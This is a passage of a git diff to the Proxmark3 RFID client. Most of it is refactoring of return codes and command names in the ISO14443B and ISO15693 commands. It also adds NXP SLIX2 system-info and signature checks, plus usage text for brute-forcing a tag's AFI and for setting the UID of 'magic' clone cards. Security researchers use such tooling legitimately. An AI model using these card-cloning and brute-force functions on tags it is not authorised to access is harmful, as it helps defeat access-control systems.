sprint_hex(data, 4) @@ -811,8 +824,7 @@ static int CmdHF14BWriteSri(const char *Cmd) { } sprintf(str, "-ss -c %02x %02x %02x %02x %02x %02x", ISO14443B_WRITE_BLK, blockno, data[0], data[1], data[2], data[3]); - CmdHF14BCmdRaw(str); - return 0; + return CmdHF14BCmdRaw(str); } // need to write to file @@ -864,7 +876,7 @@ static int CmdHF14BDump(const char *Cmd) { if (!get_14b_UID(&card)) { PrintAndLogEx(WARNING, "No tag found."); - return 1; + return PM3_SUCCESS; } if (fileNameLen < 1) { @@ -884,12 +896,12 @@ static int CmdHF14BDump(const char *Cmd) { PacketResponseNG resp; clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR, 0, 0, NULL, 0); //select if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { if (resp.oldarg[0]) { - PrintAndLogEx(INFO, "failed to select %d | %d", resp.oldarg[0], resp.oldarg[1]); + PrintAndLogEx(INFO, "failed to select %" PRId64 " | %" PRId64, resp.oldarg[0], resp.oldarg[1]); goto out; } } @@ -901,7 +913,7 @@ static int CmdHF14BDump(const char *Cmd) { req[1] = blocknum; clearCommandBuffer(); - SendCommandOLD(CMD_ISO_14443B_COMMAND, ISO14B_APPEND_CRC | ISO14B_RAW, 2, 0, req, sizeof(req)); + SendCommandOLD(CMD_HF_ISO14443B_COMMAND, ISO14B_APPEND_CRC | ISO14B_RAW, 2, 0, req, sizeof(req)); if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { @@ -1091,7 +1103,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHF14B(const char *Cmd) { @@ -1130,4 +1142,3 @@ int readHF14B(bool verbose) { if (verbose) PrintAndLogEx(FAILED, "no 14443-B tag found"); return 0; } - diff --git a/client/cmdhf14b.h b/client/cmdhf14b.h index 2180e2088..2058ea8ba 100644 --- a/client/cmdhf14b.h +++ b/client/cmdhf14b.h @@ -11,23 +11,7 @@ #ifndef CMDHF14B_H__ #define CMDHF14B_H__ -#include -#include -#include -#include -#include "crc16.h" -#include "proxmark3.h" -#include "graph.h" -#include "util.h" -#include "ui.h" -#include "cmdparser.h" -#include "cmdmain.h" -#include "cmdhf14a.h" -#include "cmdhf.h" -#include "prng.h" -#include "mbedtls/sha1.h" -#include "mifare.h" // structs/enum for ISO14B -#include "protocols.h" // definitions of ISO14B protocol +#include "common.h" int CmdHF14B(const char *Cmd); diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 6f6d1ebc2..b6a601391 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -23,6 +23,17 @@ // the client. Signal Processing & decoding is done on the pc. This is the slowest // variant, but offers the possibility to analyze the waveforms directly. #include "cmdhf15.h" +#include +#include "cmdparser.h" // command_t +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // clearCommandBuffer +#include "cmdtrace.h" +#include "iso15693tools.h" +#include "crypto/libpcrypto.h" +#include "graph.h" +#include "crc16.h" // iso15 crc +#include "cmddata.h" // getsamples +#include "fileutils.h" // savefileEML #define FrameSOF Iso15693FrameSOF #define Logic0 Iso15693Logic0 @@ -39,9 +50,11 @@ #define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) #endif -#ifndef sprintUID -# define sprintUID(target, uid) Iso15693sprintUID((target), (uid)) -#endif +typedef struct { + uint8_t lock; + uint8_t block[4]; +} t15memory_t; + // structure and database for uid -> tagtype lookups typedef struct { uint64_t uid; @@ -49,6 +62,7 @@ typedef struct { const char *desc; } productName; + const productName uidmapping[] = { // UID, #significant Bits, "Vendor(+Product)" @@ -72,10 +86,11 @@ const productName uidmapping[] = { //I-Code SLI-S [IC id = 02] //I-Code SLI-L [IC id = 03] //I-Code SLIX [IC id = 01 + bit36 set to 1 (starting from bit0 - different from normal SLI)] + //I-Code SLIX2 [IC id = 01 + bit35 set to 1 + bit36 set to 0] //I-Code SLIX-S [IC id = 02 + bit36 set to 1] //I-Code SLIX-L [IC id = 03 + bit36 set to 1] { 0xE004000000000000LL, 16, "NXP Semiconductors Germany (Philips)" }, - { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)" }, + { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX) ICS2602(SLIX2)" }, { 0xE004020000000000LL, 24, "NXP(Philips); IC SL2 ICS53/ICS54(SLI-S) ICS5302/ICS5402(SLIX-S)" }, { 0xE004030000000000LL, 24, "NXP(Philips); IC SL2 ICS50/ICS51(SLI-L) ICS5002/ICS5102(SLIX-L)" }, @@ -193,10 +208,94 @@ const productName uidmapping[] = { { 0, 0, "no tag-info available" } // must be the last entry }; -// fast method to just read the UID of a tag (collission detection not supported) +static int CmdHF15Help(const char *Cmd); + +static int nxp_15693_print_signature(uint8_t *uid, uint8_t *signature) { + + #define PUBLIC_ECDA_KEYLEN 33 + const ecdsa_publickey_t nxp_15693_public_keys[] = { + {"NXP Mifare Classic MFC1C14_x", "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, + {"Manufacturer Mifare Classic MFC1C14_x", "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, + {"NXP ICODE DNA, ICODE SLIX2", "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, + {"NXP Public key", "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC"}, + {"NXP Ultralight Ev1", "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8"}, + {"NXP NTAG21x (2013)", "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61"}, + {"MICRON Public key", "04f971eda742a4a80d32dcf6a814a707cc3dc396d35902f72929fdcd698b3468f2"}, + }; +/* + uint8_t nxp_15693_public_keys[][PUBLIC_ECDA_KEYLEN] = { + // ICODE SLIX2 / DNA + { + 0x04, 0x88, 0x78, 0xA2, 0xA2, 0xD3, 0xEE, 0xC3, + 0x36, 0xB4, 0xF2, 0x61, 0xA0, 0x82, 0xBD, 0x71, + 0xF9, 0xBE, 0x11, 0xC4, 0xE2, 0xE8, 0x96, 0x64, + 0x8B, 0x32, 0xEF, 0xA5, 0x9C, 0xEA, 0x6E, 0x59, 0xF0 + }, + // unknown. Needs identification + { + 0x04, 0x4F, 0x6D, 0x3F, 0x29, 0x4D, 0xEA, 0x57, + 0x37, 0xF0, 0xF4, 0x6F, 0xFE, 0xE8, 0x8A, 0x35, + 0x6E, 0xED, 0x95, 0x69, 0x5D, 0xD7, 0xE0, 0xC2, + 0x7A, 0x59, 0x1E, 0x6F, 0x6F, 0x65, 0x96, 0x2B, 0xAF + }, + // unknown. Needs identification + { + 0x04, 0xA7, 0x48, 0xB6, 0xA6, 0x32, 0xFB, 0xEE, + 0x2C, 0x08, 0x97, 0x70, 0x2B, 0x33, 0xBE, 0xA1, + 0xC0, 0x74, 0x99, 0x8E, 0x17, 0xB8, 0x4A, 0xCA, + 0x04, 0xFF, 0x26, 0x7E, 0x5D, 0x2C, 0x91, 0xF6, 0xDC + }, + // manufacturer public key + { + 0x04, 0x6F, 0x70, 0xAC, 0x55, 0x7F, 0x54, 0x61, + 0xCE, 0x50, 0x52, 0xC8, 0xE4, 0xA7, 0x83, 0x8C, + 0x11, 0xC7, 0xA2, 0x36, 0x79, 0x7E, 0x8A, 0x07, + 0x30, 0xA1, 0x01, 0x83, 0x7C, 0x00, 0x40, 0x39, 0xC2 + }, + // MIKRON public key. + { + 0x04, 0xf9, 0x71, 0xed, 0xa7, 0x42, 0xa4, 0xa8, + 0x0d, 0x32, 0xdc, 0xf6, 0xa8, 0x14, 0xa7, 0x07, + 0xcc, 0x3d, 0xc3, 0x96, 0xd3, 0x59, 0x02, 0xf7, + 0x29, 0x29, 0xfd, 0xcd, 0x69, 0x8b, 0x34, 0x68, 0xf2 + } + }; +*/ + + uint8_t i; + int res; + bool is_valid = false; + for (i = 0; i< ARRAYLEN(nxp_15693_public_keys); i++) { + + int dl = 0; + uint8_t key[PUBLIC_ECDA_KEYLEN]; + param_gethex_to_eol(nxp_15693_public_keys[i].value, 0, key, PUBLIC_ECDA_KEYLEN, &dl); + + res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, 8, signature, 32, false); + is_valid = (res == 0); + if (is_valid) + break; + } + + PrintAndLogEx(NORMAL, ""); + if (is_valid == false) { + PrintAndLogEx(SUCCESS, "Signature verification " _RED_("failed")); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); + PrintAndLogEx(INFO, " IC signature public key name: %s", nxp_15693_public_keys[i].desc); + PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_15693_public_keys[i].value); + PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); + PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex(signature, 32)); + PrintAndLogEx(SUCCESS, " Signature verified: " _GREEN_("successful")); + return PM3_SUCCESS; +} + +// fast method to just read the UID of a tag (collision detection not supported) // *buf should be large enough to fit the 64bit uid -// returns 1 if suceeded -static int getUID(uint8_t *buf) { +// returns 1 if succeeded +static bool getUID(uint8_t *buf) { PacketResponseNG resp; uint8_t data[5]; @@ -212,19 +311,21 @@ static int getUID(uint8_t *buf) { for (retry = 0; retry < 3; retry++) { clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, sizeof(data), 1, 1, data, sizeof(data)); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, sizeof(data), 1, 1, data, sizeof(data)); if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t resplen = resp.oldarg[0]; if (resplen >= 12 && CheckCrc15(resp.data.asBytes, 12)) { memcpy(buf, resp.data.asBytes + 2, 8); - return 1; + DropField(); + return true; } } } // retry - return 0; + DropField(); + return false; } // get a product description based on the UID @@ -259,7 +360,7 @@ static const char *TagErrorStr(uint8_t error) { case 0x01: return "The command is not supported"; case 0x02: - return "The command is not recognised"; + return "The command is not recognized"; case 0x03: return "The option is not supported."; case 0x0f: @@ -279,17 +380,15 @@ static const char *TagErrorStr(uint8_t error) { } } -static int CmdHF15Help(const char *Cmd); - static int usage_15_demod(void) { PrintAndLogEx(NORMAL, "Tries to demodulate / decode ISO15693, from downloaded samples.\n" "Gather samples with 'hf 15 read' / 'hf 15 record'"); - return 0; + return PM3_SUCCESS; } static int usage_15_samples(void) { PrintAndLogEx(NORMAL, "Acquire samples as Reader (enables carrier, send inquiry\n" "and download it to graphbuffer. Try 'hf 15 demod' to try to demodulate/decode signal"); - return 0; + return PM3_SUCCESS; } static int usage_15_info(void) { PrintAndLogEx(NORMAL, "Uses the optional command 'get_systeminfo' 0x2B to try and extract information\n" @@ -305,11 +404,11 @@ static int usage_15_info(void) { "\t * scan for tag\n" "Examples:\n" "\thf 15 info u"); - return 0; + return PM3_SUCCESS; } static int usage_15_record(void) { - PrintAndLogEx(NORMAL, "Record activity without enableing carrier"); - return 0; + PrintAndLogEx(NORMAL, "Record activity without enabling carrier"); + return PM3_SUCCESS; } static int usage_15_reader(void) { PrintAndLogEx(NORMAL, "This command identifies a ISO 15693 tag\n" @@ -320,23 +419,43 @@ static int usage_15_reader(void) { "\n" "Example:\n" "\thf 15 reader"); - return 0; + return PM3_SUCCESS; } static int usage_15_sim(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 sim \n" "\n" "Example:\n" "\thf 15 sim E016240000000000"); - return 0; + return PM3_SUCCESS; } static int usage_15_findafi(void) { - PrintAndLogEx(NORMAL, "'hf 15 finafi' This command needs a helptext. Feel free to add one!"); - return 0; + PrintAndLogEx(NORMAL, "This command attempts to brute force AFI of an ISO15693 tag\n" + "\n" + "Usage: hf 15 findafi"); + return PM3_SUCCESS; +} +static int usage_15_writeafi(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writeafi \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tafi#: AFI number 0-255"); + return PM3_SUCCESS; +} +static int usage_15_writedsfid(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writedsfid \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tdsfid#: DSFID number 0-255"); + return PM3_SUCCESS; } static int usage_15_dump(void) { PrintAndLogEx(NORMAL, "This command dumps the contents of a ISO-15693 tag and save it to file\n" "\n" - "Usage: hf 15 dump [h] \n" + "Usage: hf 15 dump [h] \n" "Options:\n" "\th this help\n" "\tf filename, if no UID will be used as filename\n" @@ -344,7 +463,7 @@ static int usage_15_dump(void) { "Example:\n" "\thf 15 dump f\n" "\thf 15 dump f mydump"); - return 0; + return PM3_SUCCESS; } static int usage_15_restore(void) { const char *options[][2] = { @@ -352,24 +471,25 @@ static int usage_15_restore(void) { {"-2", "use slower '1 out of 256' mode"}, {"-o", "set OPTION Flag (needed for TI)"}, {"r ", "numbers of retries on error, default is 3"}, - {"u ", "load hf-15-dump-.bin"}, + {"u ", "load hf-15--dump.bin"}, {"f ", "load "}, {"b ", "block size, default is 4"} }; PrintAndLogEx(NORMAL, "Usage: hf 15 restore [-2] [-o] [h] [r ] [u ] [f ] [b ]"); PrintAndLogOptions(options, 7, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_raw(void) { const char *options[][2] = { {"-r", "do not read response" }, {"-2", "use slower '1 out of 256' mode" }, {"-c", "calculate and append CRC" }, + {"-p", "leave the signal field ON" }, {"", "Tip: turn on debugging for verbose output"}, }; PrintAndLogEx(NORMAL, "Usage: hf 15 raw [-r] [-2] [-c] <0A 0B 0C ... hex>\n"); PrintAndLogOptions(options, 4, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_read(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 read [options] \n" @@ -380,7 +500,7 @@ static int usage_15_read(void) { "\t u unaddressed mode\n" "\t * scan for tag\n" "\tpage#: page number 0-255"); - return 0; + return PM3_SUCCESS; } static int usage_15_write(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 write [options] \n" @@ -393,7 +513,7 @@ static int usage_15_write(void) { "\t * scan for tag\n" "\tpage#: page number 0-255\n" "\thexdata: data to be written eg AA BB CC DD"); - return 0; + return PM3_SUCCESS; } static int usage_15_readmulti(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 readmulti [options] \n" @@ -405,7 +525,18 @@ static int usage_15_readmulti(void) { "\t * scan for tag\n" "\tstart#: page number to start 0-255\n" "\tcount#: number of pages"); - return 0; + return PM3_SUCCESS; +} +static int usage_15_csetuid(void) { + PrintAndLogEx(NORMAL, "Set UID for magic Chinese card (only works with such cards)\n" + "\n" + "Usage: hf 15 csetuid \n" + "Options:\n" + "\tuid : <8B hex> full UID eg E011223344556677\n" + "\n" + "Example:\n" + "\thf 15 csetuid E011223344556677"); + return PM3_SUCCESS; } /** @@ -413,7 +544,7 @@ static int usage_15_readmulti(void) { * Parameters: * **cmd command line */ -static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 +static bool prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 int temp; uint8_t uid[8] = {0x00}; uint32_t tmpreqlen = 0; @@ -440,7 +571,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * switch (**cmd) { case 0: PrintAndLogEx(WARNING, "missing addr"); - return 0; + return false; break; case 'u': case 'U': @@ -455,10 +586,10 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); - return 0; + return false; } memcpy(&req[tmpreqlen], uid, sizeof(uid)); - PrintAndLogEx(NORMAL, "Detected UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Detected UID " _GREEN_("%s"), iso15693_sprintUID(NULL,uid)); tmpreqlen += sizeof(uid); break; default: @@ -471,7 +602,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * uid[7 - i] = temp & 0xff; } - PrintAndLogEx(NORMAL, "Using UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Using UID " _GREEN_("%s"), iso15693_sprintUID(NULL,uid)); memcpy(&req[tmpreqlen], uid, sizeof(uid)); tmpreqlen += sizeof(uid); break; @@ -482,7 +613,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * while (**cmd == ' ' || **cmd == '\t')(*cmd)++; *reqlen = tmpreqlen; - return 1; + return true; } // Mode 3 @@ -496,7 +627,7 @@ static int CmdHF15Demod(const char *Cmd) { int max = 0, maxPos = 0; int skip = 4; - if (GraphTraceLen < 1000) return 0; + if (GraphTraceLen < 1000) return PM3_ESOFT; // First, correlate for SOF for (i = 0; i < 1000; i++) { @@ -510,7 +641,7 @@ static int CmdHF15Demod(const char *Cmd) { } } - PrintAndLogEx(NORMAL, "SOF at %d, correlation %d", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); + PrintAndLogEx(INFO, "SOF at %d, correlation %zu", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); i = maxPos + ARRAYLEN(FrameSOF) / skip; int k = 0; @@ -533,7 +664,7 @@ static int CmdHF15Demod(const char *Cmd) { corr1 *= 4; if (corrEOF > corr1 && corrEOF > corr0) { - PrintAndLogEx(NORMAL, "EOF at %d", i); + PrintAndLogEx(INFO, "EOF at %d", i); break; } else if (corr1 > corr0) { i += ARRAYLEN(Logic1) / skip; @@ -547,22 +678,22 @@ static int CmdHF15Demod(const char *Cmd) { mask = 0x01; } if ((i + (int)ARRAYLEN(FrameEOF)) >= GraphTraceLen) { - PrintAndLogEx(NORMAL, "ran off end!"); + PrintAndLogEx(INFO, "ran off end!"); break; } } if (mask != 0x01) { - PrintAndLogEx(WARNING, "Error, uneven octet! (discard extra bits!)"); - PrintAndLogEx(NORMAL, " mask = %02x", mask); + PrintAndLogEx(WARNING, "Warning, uneven octet! (discard extra bits!)"); + PrintAndLogEx(INFO, " mask = %02x", mask); } - PrintAndLogEx(NORMAL, "%d octets", k); + PrintAndLogEx(INFO, "%d octets", k); for (i = 0; i < k; i++) - PrintAndLogEx(NORMAL, "# %2d: %02x ", i, outBuf[i]); + PrintAndLogEx(SUCCESS, "# %2d: %02x ", i, outBuf[i]); - PrintAndLogEx(NORMAL, "CRC %04x", Crc15(outBuf, k - 2)); - return 0; + PrintAndLogEx(SUCCESS, "CRC %04x", Crc15(outBuf, k - 2)); + return PM3_SUCCESS; } // * Acquire Samples as Reader (enables carrier, sends inquiry) @@ -572,10 +703,177 @@ static int CmdHF15Samples(const char *Cmd) { if (cmdp == 'h') return usage_15_samples(); clearCommandBuffer(); - SendCommandNG(CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_15693, NULL, 0); + SendCommandNG(CMD_HF_ISO15693_ACQ_RAW_ADC, NULL, 0); - getSamples(0, false); - return 0; + getSamples(0, true); + return PM3_SUCCESS; +} + +// Get NXP system information from SLIX2 tag/VICC +static int NxpSysInfo(uint8_t *uid) { + PacketResponseNG resp; + uint8_t *recv; + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen; + uint32_t status; + uint8_t arg1 = 1; + + if (uid != NULL) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_GETNXPSYSTEMINFO; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to NXP systeminfo command"); + return PM3_EWRONGANSVER; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + bool support_signature = (recv[5] & 0x01); + bool support_easmode = (recv[4] & 0x03); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " NXP SYSINFO : %s", sprint_hex(recv, 8)); + PrintAndLogEx(NORMAL, " Password protection configuration:"); + PrintAndLogEx(NORMAL, " * Page L read%s password protected", ((recv[2] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page L write%s password protected", ((recv[2] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H read%s password protected", ((recv[2] & 0x08) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H write%s password protected", ((recv[2] & 0x20) ? "" : " not")); + + PrintAndLogEx(NORMAL, " Lock bits:"); + PrintAndLogEx(NORMAL, " * AFI%s locked", ((recv[3] & 0x01) ? "" : " not")); // AFI lock bit + PrintAndLogEx(NORMAL, " * EAS%s locked", ((recv[3] & 0x02) ? "" : " not")); // EAS lock bit + PrintAndLogEx(NORMAL, " * DSFID%s locked", ((recv[3] & 0x03) ? "" : " not")); // DSFID lock bit + PrintAndLogEx(NORMAL, " * Password protection configuration%s locked", ((recv[3] & 0x04) ? "" : " not")); // Password protection pointer address and access conditions lock bit + + PrintAndLogEx(NORMAL, " Features:"); + PrintAndLogEx(NORMAL, " * User memory password protection%s supported", ((recv[4] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Counter feature%s supported", ((recv[4] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS ID%s supported by EAS ALARM command", support_easmode ? "" : " not"); + + PrintAndLogEx(NORMAL, " * EAS password protection%s supported", ((recv[4] & 0x04) ? "" : " not")); + PrintAndLogEx(NORMAL, " * AFI password protection%s supported", ((recv[4] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Extended mode%s supported by INVENTORY READ command", ((recv[4] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS selection%s supported by extended mode in INVENTORY READ command", ((recv[4] & 0x40) ? "" : " not")); + PrintAndLogEx(NORMAL, " * READ SIGNATURE command%s supported", support_signature ? "" : " not"); + + PrintAndLogEx(NORMAL, " * Password protection for READ SIGNATURE command%s supported", ((recv[5] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * STAY QUIET PERSISTENT command%s supported", ((recv[5] & 0x03) ? "" : " not")); + PrintAndLogEx(NORMAL, " * ENABLE PRIVACY command%s supported", ((recv[5] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * DESTROY command%s supported", ((recv[5] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Additional 32 bits feature flags are%s transmitted", ((recv[5] & 0x80) ? "" : " not")); + + if (support_easmode) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_EASALARM; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + } else { + status = resp.oldarg[0]; + + PrintAndLogEx(NORMAL, ""); + + if (status < 2) { + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is not active"); + } else { + recv = resp.data.asBytes; + + if (!(recv[0] & ISO15_RES_ERROR)) { + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is active."); + PrintAndLogEx(INFO, " EAS sequence: %s", sprint_hex(recv + 1, 32)); + } + } + } + } + + if (support_signature) { + // Check if we can also read the signature + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_READSIGNATURE; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to READ SIGNATURE command"); + return PM3_EWRONGANSVER; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + uint8_t signature[32] = {0x00}; + memcpy(signature, recv + 1, 32); + + nxp_15693_print_signature(uid, signature); + + } + } + + return PM3_SUCCESS; } /** @@ -584,8 +882,8 @@ static int CmdHF15Samples(const char *Cmd) { */ static int CmdHF15Info(const char *Cmd) { - char cmdp = param_getchar(Cmd, 0); - if (strlen(Cmd) < 1 || cmdp == 'h' || cmdp == 'H') return usage_15_info(); + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) < 1 || cmdp == 'h') return usage_15_info(); PacketResponseNG resp; uint8_t *recv; @@ -594,83 +892,95 @@ static int CmdHF15Info(const char *Cmd) { uint8_t arg1 = 1; char cmdbuf[100] = {0}; char *cmd = cmdbuf; + uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_SYSINFO)) - return 0; + return PM3_SUCCESS; AddCrc15(req, reqlen); reqlen += 2; - //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); - clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, reqlen, arg1, 1, req, reqlen); - + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { - PrintAndLogEx(WARNING, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; } - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, recv + 2)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(recv + 2)); - PrintAndLogEx(NORMAL, " SYSINFO : %s", sprint_hex(recv, status - 2)); + memcpy(uid, recv + 2, sizeof(uid)); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") "---------"); + PrintAndLogEx(INFO, "-------------------------------------------------------------"); + PrintAndLogEx(SUCCESS, " TYPE: " _YELLOW_("%s"), getTagInfo_15(recv + 2)); + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), iso15693_sprintUID(NULL,uid)); + PrintAndLogEx(SUCCESS, " SYSINFO: %s", sprint_hex(recv, status - 2)); // DSFID if (recv[1] & 0x01) - PrintAndLogEx(NORMAL, " - DSFID supported [0x%02X]", recv[10]); + PrintAndLogEx(SUCCESS, " - DSFID supported [0x%02X]", recv[10]); else - PrintAndLogEx(NORMAL, " - DSFID not supported"); + PrintAndLogEx(SUCCESS, " - DSFID not supported"); // AFI if (recv[1] & 0x02) - PrintAndLogEx(NORMAL, " - AFI supported [0x%02X]", recv[11]); + PrintAndLogEx(SUCCESS, " - AFI supported [0x%02X]", recv[11]); else - PrintAndLogEx(NORMAL, " - AFI not supported"); + PrintAndLogEx(SUCCESS, " - AFI not supported"); // IC reference if (recv[1] & 0x08) - 